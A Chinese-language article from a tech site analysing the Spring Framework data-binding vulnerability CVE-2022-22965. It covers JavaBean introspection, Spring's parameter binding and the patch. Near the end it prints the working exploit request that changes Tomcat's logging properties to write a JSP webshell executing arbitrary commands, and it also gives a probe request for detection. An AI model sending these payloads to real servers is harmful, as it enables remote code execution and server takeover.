您当前的位置:首页 > 电脑百科 > 安全防护 > 漏洞

CVE-2022-22965 漏洞分析

时间:2022-08-31 14:26:12  来源:  作者:BYsususu

CVE-2022-22965

A Spring MVC or Spring WebFlux Application running on JDK 9+ may be vulnerable to remote code execution (RCE) via data binding. The specific exploit requires the application to run on Tomcat as a WAR deployment. If the application is deployed as a Spring Boot executable jar, i.e. the default, it is not vulnerable to the exploit. However, the nature of the vulnerability is more general, and there may be other ways to exploit it.

 

[VulEnv/springboot/cve-2022-22965 at master · XuCcc/VulEnv]

 

 

一个典型的 Bean 对象如下

class UserInfo {  
    private int age;  

    public int getAge() {  
        return age;  
    }  

    public void setAge(int age) {  
        this.age = age;  
    }  
}

通过 private 定义属性 通过 public getXyz/setXyz 来读写的 class 被称为 JAVABean [^1]

 

java.beans.Introspector [^2] 提供一套标准的方法来访问 javaBean 中的属性、方法、事件,会搜索 Bean 本身并一路往上搜索父类来获取信息。如通过 java.beans.PropertyDescriptor 来获取属性相关的信息(name/getter/setter/...

public static void mAIn(String args[]) throws IntrospectionException {  
    BeanInfo info = Introspector.getBeanInfo(UserInfo.class);  
    PropertyDescriptor[] propertyDescriptors = info.getPropertyDescriptors();  
    for (PropertyDescriptor propertyDescriptor : propertyDescriptors) {  
        System.out.println(propertyDescriptor);  
        System.out.println("=================================================");  
    }  
}

// java.beans.PropertyDescriptor[name=age; values={expert=false; visualUpdate=false; hidden=false; enumerationValues=[Ljava.lang.Object;@6e1567f1; required=false}; propertyType=int; readMethod=public int person.xu.vulEnv.UserInfo.getAge(); writeMethod=public void person.xu.vulEnv.UserInfo.setAge(int)]
// =================================================
// java.beans.PropertyDescriptor[name=class; values={expert=false; visualUpdate=false; hidden=false; enumerationValues=[Ljava.lang.Object;@5cb9f472; required=false}; propertyType=class java.lang.Class; readMethod=public final native java.lang.Class java.lang.Object.getClass()]
// =================================================

也可以通过内省操作来进行赋值操作

UserInfo user = new UserInfo();  
System.out.println("age: " + user.getAge());  
PropertyDescriptor pd = Arrays.stream(info.getPropertyDescriptors()).filter(p -> p.getName().equals("age")).findFirst().get();  
pd.getWriteMethod().invoke(user, 18);  
System.out.println("age: " + user.getAge());// age: 0// age: 18

 

提供了一套简单的api来进行 JavaBean 的操作,以及一些高级特性(嵌套属性、批量读写等)

public class User {  
    private String name;  
    private UserInfo info;  

    public String getName() {  
        return name;  
    }  

    public void setName(String name) {  
        this.name = name;  
    }  

    public UserInfo getInfo() {  
        return info;  
    }  

    public void setInfo(UserInfo info) {  
        this.info = info;  
    }  

    public static void main(String args[]) {  
        User user = new User();  
        BeanWrapper bw = PropertyAccessorFactory.forBeanPropertyAccess(user);  
        bw.setAutoGrowNestedPaths(true);  
        bw.setPropertyValue("name", "wang");  
        bw.setPropertyValue("info.age", 18);  
        System.out.printf("%s is %d%n", user.getName(), user.getInfo().getAge());  
    }  
}// wang is 18

在 setPropertyValue(“name”, “wang”) 处分析调用逻辑,大致了解下流程

org.springframework.beans.AbstractNestablePropertyAccessor[^3]

  1. 调用getPropertyAccessorForPropertyPath方法通过 getter 来获取嵌套属性

    1. getPropertyAccessorForPropertyPath 存在嵌套 A.B.C 属性时,循环调用 getter 取值

  2. 调用setPropertyValue方法通过 setter 来设置属性

    1. getLocalPropertyHandler 获取属性描述符

    2. setValue 通过反射调用 setter 进行赋值

    3. CachedIntrospectionResults#forClass 为当前Bean创建缓存

    4. getCachedIntrospectionResults 从缓存中获取 PropertyDescriptor

    5. processKeyedProperty 设置 Array/List… 对象

    6. processLocalProperty 设置简单 Bean 对象

 

以如下的 controller 为例,跟踪 spring 参数绑定的过程

@GetMapping("/")  
public String info(User user) {  
    return String.format("%s is %d", user.getName(), user.getInfo().getAge());  
}
  1. 传入的 http 请求经过 org.springframework.web.servlet.DispatcherServlet#doDispatch处理,寻找对应的 Handler 进行处理

  2. org.springframework.web.method.support.InvocableHandlerMethod#invokeForRequest 调用 Handler 前进行参数绑定

  3. 使用响应的 org.springframework.web.method.support.HandlerMethodArgumentResolver#resolveArgument 来进行参数解析,从 request 中获取参数。这里为 org.springframework.web.method.annotation.ModelAttributeMethodProcessor#resolveArgument

  4. 接下来进入到 org.springframework.validation.DataBinder#doBind,根据 JavaBean 对象来进行赋值。这里会获取一个BeanWrapperImpl通过setPropertyValues来进行赋值

  5. org.springframework.beans.AbstractPropertyAccessor#setPropertyValues

  6. org.springframework.beans.AbstractNestablePropertyAccessor#setPropertyValue

 

官方在 5.3.18 修复了这个问题, 在 org.springframework.beans.CachedIntrospectionResults#CachedIntrospectionResults 处进行了相关修改,加强了一个 PropertyDescriptor 相关的过滤。查看相关调用

  • org.springframework.beans.CachedIntrospectionResults#forClass

  • org.springframework.beans.BeanWrapperImpl#getCachedIntrospectionResults

结合上文的内容不难推断,Spring在进行参数绑定时调用的 BeanWrapperImpl在进行JavaBean操作时触发了此漏洞。

<init>:272, CachedIntrospectionResults (org.springframework.beans)forClass:181, CachedIntrospectionResults (org.springframework.beans)getCachedIntrospectionResults:174, BeanWrapperImpl (org.springframework.beans)getLocalPropertyHandler:230, BeanWrapperImpl (org.springframework.beans)getLocalPropertyHandler:63, BeanWrapperImpl (org.springframework.beans)processLocalProperty:418, AbstractNestablePropertyAccessor (org.springframework.beans)setPropertyValue:278, AbstractNestablePropertyAccessor (org.springframework.beans)setPropertyValue:266, AbstractNestablePropertyAccessor (org.springframework.beans)setPropertyValues:104, AbstractPropertyAccessor (org.springframework.beans)applyPropertyValues:856, DataBinder (org.springframework.validation)doBind:751, DataBinder (org.springframework.validation)doBind:198, WebDataBinder (org.springframework.web.bind)bind:118, ServletRequestDataBinder (org.springframework.web.bind)bindRequestParameters:158, ServletModelAttributeMethodProcessor (org.springframework.web.servlet.mvc.method.annotation)resolveArgument:171, ModelAttributeMethodProcessor (org.springframework.web.method.annotation)resolveArgument:122, HandlerMethodArgumentResolverComposite (org.springframework.web.method.support)getMethodArgumentValues:179, InvocableHandlerMethod (org.springframework.web.method.support)invokeForRequest:146, InvocableHandlerMethod (org.springframework.web.method.support)...

 

由于 JDK9 新提供了 java.lang.Module[^4] 使得在 CachedIntrospectionResults#CachedIntrospectionResults 能够通过 class.module.classLoader 来获取 classLoader,所以这个洞也是 CVE-2010-1622[^5] 的绕过。

目前流传的EXP都是利用 Tomcat 的 ParallelWebappClassLoader 来修改 Tomcat 中日志相关的属性[^6],来向日志文件写入 webshell 达到命令执行的目的。
例如向 webapps/shell.jsp 写入 http header 中的 cmd

class.module.classLoader.resources.context.parent.pipeline.first.pattern=%{cmd}iclass.module.classLoader.resources.context.parent.pipeline.first.suffix=.jspclass.module.classLoader.resources.context.parent.pipeline.first.directory=webapps/ROOTclass.module.classLoader.resources.context.parent.pipeline.first.prefix=shellclass.module.classLoader.resources.context.parent.pipeline.first.fileDateFormat=

发送报文

GET /?class.module.classLoader.resources.context.parent.pipeline.first.pattern=%25%7bcmd%7di&class.module.classLoader.resources.context.parent.pipeline.first.suffix=.jsp&class.module.classLoader.resources.context.parent.pipeline.first.directory=webapps%2fROOT&class.module.classLoader.resources.context.parent.pipeline.first.prefix=test&class.module.classLoader.resources.context.parent.pipeline.first.fileDateFormat= HTTP/1.1Host: 7.223.181.36:38888Upgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (windows NT 10.0; Win64; x64) AppleWebKit/537.36 (Khtml, like Gecko) Chrome/95.0.4638.69 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9Connection: closecmd: <%=Runtime.getRuntime().exec(request.getParameter(new String(new byte[]{97})))%>

就可以利用 shell.jsp?a=cmd 来执行命令了

 

Spring 在获取属性描述符时加强了判断,只留下了 name 属性。

if (Class.class == beanClass && (!"name".equals(pd.getName()) && !pd.getName().endsWith("Name"))) {    // Only allow all name variants of Class properties
    continue;
}if (pd.getPropertyType() != null && (ClassLoader.class.isAssignableFrom(pd.getPropertyType())
        || ProtectionDomain.class.isAssignableFrom(pd.getPropertyType()))) {    // Ignore ClassLoader and ProtectionDomain types - nobody needs to bind to those
    continue;
}

 

通过错误地设置 classloader 下的属性来触发 BindException异常让服务端返回异常即可判断是否存在漏洞,例如发送

GET /?class.module.classLoader.defaultAssertionStatus=123 HTTP/1.1Host: 127.0.0.1:39999Cache-Control: max-age=0Upgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9Accept-Encoding: gzip, deflateAccept-Language: zh-CN,zh;q=0.9Connection: close

服务端返回

HTTP/1.1 400 Content-Type: text/html;charset=UTF-8Content-Language: zh-CNContent-Length: 277Date: Fri, 08 Apr 2022 03:49:42 GMTConnection: close<html><body><h1>Whitelabel Error Page</h1><p>This application has no explicit mapping for /error, so you are se

 



Tags:漏洞   点击:()  评论:()
声明:本站部分内容及图片来自互联网,转载是出于传递更多信息之目的,内容观点仅代表作者本人,不构成投资建议。投资者据此操作,风险自担。如有任何标注错误或版权侵犯请与我们联系,我们将及时更正、删除。
▌相关推荐
Rust 标准库 1.77.2 发布,修复高危漏洞
IT之家 4 月 10 日消息,Rust 的优势之一就是安全,但这并不代表该编程语言就没有漏洞。安全专家近日发现了追踪编号为 CVE-2024-24576 的漏洞,攻击者利用 Rust 标准库中的一个安...【详细内容】
2024-04-10  Search: 漏洞  点击:(4)  评论:(0)  加入收藏
详解渗透测试和漏洞扫描的开源自动化解决方案
译者 | 刘涛审校 | 重楼目录 什么是渗透测试 规划和侦察 扫描 开发和获得访问权限 维持访问权 报告和控制 什么是漏洞扫描 渗透测试工具 渗透测试的自动化 渗透自动化工作流...【详细内容】
2024-02-27  Search: 漏洞  点击:(27)  评论:(0)  加入收藏
黑客利用iOS系统中的三个零日漏洞在iPhone上安装间谍软件
2月7日,据谷歌威胁分析小组(TAG)发布的报告,黑客成功利用存在于苹果iOS系统中的三个零日漏洞,在iPhone上安装了由Variston开发的间谍软件。Variston是一家位于巴塞罗那的网络公司...【详细内容】
2024-02-07  Search: 漏洞  点击:(58)  评论:(0)  加入收藏
苹果iOS 17.3正式版发布:修复诸多安全漏洞
北京时间2023年1月23日凌晨,苹果向iPhone用户推送了iOS 17.3更新(内部版本号为21D50),此次更新距离上次时隔34天。iOS 17.3的安装包大小为600MB左右。尽管更新包容量不大,但iOS 1...【详细内容】
2024-01-23  Search: 漏洞  点击:(43)  评论:(0)  加入收藏
 Opera 漏洞可能让黑客在 Mac 或 Windows 上运行任何文件
网络安全研究人员披露了 Microsoft Windows 和 Apple macOS Opera 网络浏览器中的一个现已修补的安全漏洞,该漏洞可被利用来执行底层操作系统上的任何文件。Guardio Labs研究...【详细内容】
2024-01-19  Search: 漏洞  点击:(76)  评论:(0)  加入收藏
渗透测试中最常见的漏洞有哪些?
什么是渗透测试?渗透测试是一项安全测试,旨在模拟黑客的攻击方式,评估系统、网络或应用程序的安全性,发现潜在的安全漏洞并提出建议来修复它们。渗透测试中最常见的漏洞包括:1....【详细内容】
2024-01-11  Search: 漏洞  点击:(105)  评论:(0)  加入收藏
iPhone被曝遭史上最复杂攻击 如何应对防范系统漏洞风险?
“iPhone遭遇史上最复杂攻击”近日登上热搜。消息称,一条“iMessage信息”就能使用户手机里的地理位置、录音、照片和其他重要内容被不法分子获取到。此次事件被网络安全公司...【详细内容】
2024-01-01  Search: 漏洞  点击:(101)  评论:(0)  加入收藏
卡巴斯基公布苹果 Triangulation 事件报告,黑客利用4项漏洞攻击
IT之家 12 月 28 日消息,卡巴斯基今年 6 月发现苹果 iOS 设备中存在 Triangulation 漏洞,该漏洞允许黑客向受害者发送特定 iMessage 文件进行远程代码攻击,不过当时卡巴斯基出...【详细内容】
2023-12-29  Search: 漏洞  点击:(113)  评论:(0)  加入收藏
俄黑客组织利用WinRAR漏洞攻击乌克兰
据Securityaffairs网站消息,具有俄罗斯背景的黑客组织UAC-0099正在利用WinRAR中的一个零日漏洞(已修复,编号CVE-2023-38831)对乌克兰传播LONEPAGE恶意软件。实际上,自2022年中旬...【详细内容】
2023-12-27  Search: 漏洞  点击:(149)  评论:(0)  加入收藏
Oracle这个公开漏洞正在被8220挖矿组利用
有的网络攻击组织喜欢极具攻击力的0-Day漏洞,但也有的组织更愿意在那些已经公开的漏洞上下功夫,针对那些未能打好补丁的目标,不断优化策略和技术来逃避安全检测,从而最终实现入...【详细内容】
2023-12-22  Search: 漏洞  点击:(107)  评论:(0)  加入收藏
▌简易百科推荐
 Opera 漏洞可能让黑客在 Mac 或 Windows 上运行任何文件
网络安全研究人员披露了 Microsoft Windows 和 Apple macOS Opera 网络浏览器中的一个现已修补的安全漏洞,该漏洞可被利用来执行底层操作系统上的任何文件。Guardio Labs研究...【详细内容】
2024-01-19  科技大人物    Tags:漏洞   点击:(76)  评论:(0)  加入收藏
俄黑客组织利用WinRAR漏洞攻击乌克兰
据Securityaffairs网站消息,具有俄罗斯背景的黑客组织UAC-0099正在利用WinRAR中的一个零日漏洞(已修复,编号CVE-2023-38831)对乌克兰传播LONEPAGE恶意软件。实际上,自2022年中旬...【详细内容】
2023-12-27  区块软件开发  今日头条  Tags:漏洞   点击:(149)  评论:(0)  加入收藏
一文带你了解数据库层的安全漏洞及其危害性
数据库层的安全漏洞是Web应用程序中最常见且最简单的漏洞之一。这种漏洞的主要原因是程序没有对用户输入的数据进行合法性判断和处理,从而导致攻击者能够在Web应用程序中注入...【详细内容】
2023-12-19  科技界脑洞    Tags:漏洞   点击:(151)  评论:(0)  加入收藏
七个优秀开源免费Web安全漏洞扫描工具
Web安全漏洞扫描技术是一种用于检测Web应用中潜在的漏洞或者安全风险的自动化测试技术。Web安全扫描工具可以模拟黑客行为,检测常见的漏洞,例如:Sql注入、XSS、文件上传、目录...【详细内容】
2023-11-17  andflow  微信公众号  Tags:安全漏洞   点击:(229)  评论:(0)  加入收藏
2023年TOP 5 Kubernetes漏洞
译者 | 晶颜审校 | 重楼Kubernetes是一个流行的开源平台,用于管理容器化的工作负载和服务。它是一个简化了大量部署、扩展和操作任务的系统,但它并非没有风险。就像任何其他软...【详细内容】
2023-11-15    51CTO  Tags:漏洞   点击:(313)  评论:(0)  加入收藏
SysAid IT 曝出零日漏洞,需尽快安装补丁
根据微软的最新发现,以传播 Clop 勒索软件而闻名的 Lace Tempest 黑客组织,近日利用 SysAid IT 支持软件的零日漏洞实施了攻击。该黑客组织曾经还利用 MOVEit Transfer 和 Pap...【详细内容】
2023-11-10  沐雨花飞蝶  微信公众号  Tags:SysAid   点击:(248)  评论:(0)  加入收藏
常见Windows远程漏洞信息整理
通过漏洞扫描,发现漏洞,更新补丁,增强内网安全防御能力。1.常见windows提权漏洞(1)MS08-067 Windows服务漏洞漏洞描述:该漏洞影响Windows Server 2000、Windows XP和Windows 2003...【详细内容】
2023-11-07  小兵搞安全  微信公众号  Tags:漏洞   点击:(276)  评论:(0)  加入收藏
报告称微软 Skype 移动应用存在严重漏洞,可轻易泄露用户 IP 地址
IT之家 8 月 29 日消息,据 404Media.co 报道,微软的 Skype 移动应用存在一个严重的漏洞,可能导致黑客通过发送一个链接就能检测到用户的 IP 地址。该漏洞只需利用 Skype 的文本...【详细内容】
2023-08-29    IT之家  Tags:漏洞   点击:(150)  评论:(0)  加入收藏
可绕过苹果三重防护机制,专家发现 macOS 新漏洞
IT之家 8 月 15 日消息,近期在拉斯维加斯举行的 Defcon 黑客大会上,安全研究员帕特里克・沃德尔(Patrick Wardle)展示了 macOS 新漏洞,可以绕过苹果设置的三重防护机制,窃取设备敏...【详细内容】
2023-08-15    IT之家  Tags:漏洞   点击:(211)  评论:(0)  加入收藏
两个新漏洞可能影响 40% 的 Ubuntu 云工作负载
云安全公司 Wiz 的研究人员在 Ubuntu 的 OverlayFS 模块中发现了两个易于利用的权限提升漏洞,影响了 40% 的 Ubuntu 云工作负载。OverlayFS 是一种联合文件系统,允许一个文件...【详细内容】
2023-07-28    云安全公司 Wiz 的研究人员在 Ubuntu 的 OverlayFS 模块中发现了两个易于利用的权限提升漏洞,影响了   Tags:漏洞   点击:(226)  评论:(0)  加入收藏
站内最新
站内热门
站内头条